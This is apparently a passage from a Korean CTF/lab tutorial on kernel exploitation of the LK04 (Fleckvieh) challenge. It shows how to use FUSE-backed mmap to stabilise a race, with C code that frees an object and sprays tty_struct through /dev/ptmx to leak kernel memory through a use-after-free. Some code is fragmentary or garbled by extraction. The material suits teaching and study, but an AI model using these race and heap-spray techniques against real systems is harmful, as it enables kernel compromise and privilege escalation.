이전 장에서는 userfaultfd를 이용하여 LK04(Fleckvieh)의 경쟁을 안정화시켰습니다. 본 장에서는 마찬가지로 LK04를, 다른 방법으로 exploit 해 보겠습니다.
userfaultfd의 단점
이전 장에서도 조금 설명했듯이, userfaultfd는 현재 Linux에서는 표준으로 일반 사용자는 이용할 수 없습니다. 정확하게는, 사용자 공간에서 발생시킨 페이지 부재는 감지할 수 있지만, 커널 공간에서 발생한 것은 일반 사용자가 만든 userfaultfd에서는 감지할 수 없습니다. 각각 아래 패치에서 도입된 보안 완화 기법입니다.
따라서, 이번에는 Linux의 기능 중 하나인 FUSE라는 구조를 이용합니다. 먼저 FUSE가 무엇인지 공부합시다.
FUSE란
FUSE(Filesystem in Userspace)는, 사용자 공간에서 가상으로 파일 시스템 구현을 가능하게 하는 Linux의 기능입니다. CONFIG_FUSE_FS를 붙여서 커널을 빌드 하면 유효해집니다.
먼저, 프로그램은 FUSE를 사용해 파일 시스템을 마운트 합니다. 누군가가 이 파일 시스템 안의 파일에 접근하면, 프로그램 측에서 설정한 핸들러가 호출됩니다. 구조는 LK01에서 본 캐릭터 디바이스 구현과 매우 비슷합니다[1].
로컬 머신에서 FUSE를 시험해 보고 싶은 경우, 다음 명령어로 설치해 주세요. 이번에는 타겟의 FUSE가 버전 2이므로, fuse3가 아닌 fuse를 사용합니다.
1
# apt-get install fuse
또한, FUSE를 사용하는 프로그램을 컴파일할 때 헤더가 필요하므로, 다음 명령어로 설치해 두세요.
1
# apt-get install libfuse-dev
그러면 실제로 FUSE를 사용해 봅시다.
FUSE를 이용하여 만든 파일 시스템 안의 파일에 조작이 실행되면, fuse_operations에 정의한 핸들러가 호출됩니다. fuse_operations에는 파일 조작인 open, read, write, close나 디렉터리 접근인 readdir, mkdir 등 외에도, chmod나 ioctl, poll 등, 모든 조작을 독자 구현할 수 있습니다. 이번에는 exploit 목적으로 이용할 뿐이므로, 파일의 open, read가 구현되면 충분합니다. 또한, open 하기 위해서는 파일 권한 등의 정보를 반환하는 getattr 함수도 정의해야 합니다. 실제 코드를 읽어봅시다.
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/10/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_put_module.isra.0': (.text+0xe0e): undefined reference to `dlclose' /usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/10/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common': (.text+0x9e9e): undefined reference to `dlopen' /usr/bin/ld: (.text+0x9efb): undefined reference to `dlsym' /usr/bin/ld: (.text+0xa1e2): undefined reference to `dlerror' /usr/bin/ld: (.text+0xa265): undefined reference to `dlclose' /usr/bin/ld: (.text+0xa282): undefined reference to `dlerror' collect2: error: ld returned 1 exit status make: *** [Makefile:2: all] Error 1
링크 순서에 주의해서, -ldl을 맨 뒤에 붙여서 컴파일하면, 배포 환경 내에서도 gcc로 빌드 한 프로그램으로 FUSE를 사용할 수 있습니다.
1
$ gcc test.c -o test -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
fuse_main이 인수를 파싱 해서 메인 처리를 실행합니다. 여기서는 /tmp/test에 마운트 해 봅니다.
1 2
$ mkdir /tmp/test $ ./test -f /tmp/test
올바르게 동작하고 있는 경우, 에러는 나오지 않고 프로그램이 정지합니다. 에러가 나오는 경우, OS가 FUSE에 대응하고 있는지나, 컴파일 시의 FUSE 버전이 일치하는지 등을 확인해 주세요.
이 상태로 다른 터미널에서 /tmp/test/file에 접근하면, 데이터를 읽을 수 있습니다.
1 2
$ cat /tmp/test/file Hello, World!
또한, 이번에는 readdir을 구현하지 않았기 때문에, 마운트 포인트에 대해 ls 등으로 파일 목록을 볼 수 없으며, 루트 디렉터리에 대한 getattr도 구현하지 않았기 때문에, /tmp/test의 존재 자체가 보이지 않게 되어 있습니다.
또, 위 프로그램에서 이용하고 있는 fuse_main은 헬퍼 함수입니다. 일일이 인수를 지정하는 것이 싫은 경우, 다음과 같이 호출하는 것도 가능합니다.
fuse_mount로 마운트 포인트를 정하고, fuse_new로 FUSE 인스턴스를 생성합니다. fuse_loop_mt(mt는 멀티 스레드)로 이벤트를 감시합니다. 프로그램이 종료될 때 감시에서 빠져나올 수 있도록, fuse_set_signal_handlers를 설정하는 것을 잊지 말도록 합시다. 마지막 fuse_unmount에 도달하지 않으면, 마운트 포인트가 깨져 버립니다.
Race의 안정화
그러면 FUSE를 exploit 안정화에 이용하는 방법을 생각해 봅시다.
그렇다고 해도 원리는 userfaultfd 때와 완전히 똑같습니다. userfaultfd에서는 페이지 부재를 기점으로 사용자 측 핸들러를 호출하게 했지만, FUSE의 경우는 파일의 read를 기점으로 합니다.
FUSE로 구현한 파일을 mmap으로 MAP_POPULATE 없이 메모리에 맵 하면, 그 영역을 읽고 쓴 시점에 페이지 부재가 발생하고, 최종적으로 read가 호출됩니다. 이것을 이용하면 userfaultfd 때와 마찬가지로, 메모리 읽기/쓰기가 발생하는 타이밍에 컨텍스트를 전환할 수 있습니다.
그림으로 나타내면 다음과 같이 됩니다.
userfaultfd 때와의 차이는, 페이지 부재 발생 시에 FUSE를 경유해서 핸들러가 호출된다는 점뿐입니다. 실제로, 이것을 사용해 Race를 안정화시켜 봅시다.
if (strcmp(path, "/pwn") == 0) { switch (fault_cnt++) { case0: puts("[+] UAF read"); /* [1-2] `blob_get`에 의한 페이지 부재 */ // victim을 해제 del(victim);
// tty_struct를 스프레이 하고, victim 위치에 덮어씌움 int fds[0x10]; for (int i = 0; i < 0x10; i++) { fds[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (fds[i] == -1) fatal("/dev/ptmx"); } return size; } }
/* FUSE 파일을 메모리에 맵 */ int pwn_fd = open("/tmp/test/pwn", O_RDWR); if (pwn_fd == -1) fatal("/tmp/test/pwn"); void *page; page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, pwn_fd, 0); if (page == MAP_FAILED) fatal("mmap");
/* tty_struct와 같은 사이즈의 데이터 설정 */ buf = (char*)malloc(0x400); victim = add(buf, 0x400); set(victim, "Hello", 6);
/* [1-1] UAF Read: tty_struct의 유출 */ get(victim, page, 0x400); for (int i = 0; i < 0x80; i += 8) { printf("%02x: 0x%016lx\n", i, *(unsignedlong*)(page + i)); }
return0; }
이전 장의 코드와 비교하면, 구조가 매우 비슷하다는 것을 알 수 있습니다. 이처럼 FUSE는 userfaultfd의 대체책으로서, exploit에 사용할 수 있는 경우가 있습니다. 코드를 실행하면 tty_struct의 일부가 유출된 것을 알 수 있습니다.
userfaultfd 때와 마찬가지로, copy_to_user를 큰 사이즈로 호출하고 있기 때문에, 데이터의 선두는 유출되지 않았습니다. 이에 관해서는, 지난번과 같이 작은 사이즈의 유출을 통해 해결할 수 있습니다.
그런데, userfaultfd와 달리 주의해야 할 것이, read로 맵 한 사이즈만큼 데이터가 요구된다는 점입니다. userfaultfd에서는 페이지 사이즈(0x1000)마다 부재가 발생했습니다. 그 때문에, 예를 들어 3번 부재 핸들러를 부르고 싶은 경우, 0x3000 바이트만 mmap 하면 됩니다.
하지만 FUSE의 경우, 첫 번째 부재에서 0x3000 바이트의 요구가 달리기 때문에, 이후 페이지 부재가 발생하지 않습니다. 이 문제는 파일을 다시 여는 것으로 간단하게 해결할 수 있습니다.
여러 번 파일을 열게 되므로, 함수화해 둡시다.
1 2 3 4 5 6 7 8 9 10 11 12
int pwn_fd = -1; void* mmap_fuse_file(void) { if (pwn_fd != -1) close(pwn_fd); pwn_fd = open("/tmp/test/pwn", O_RDWR); if (pwn_fd == -1) fatal("/tmp/test/pwn");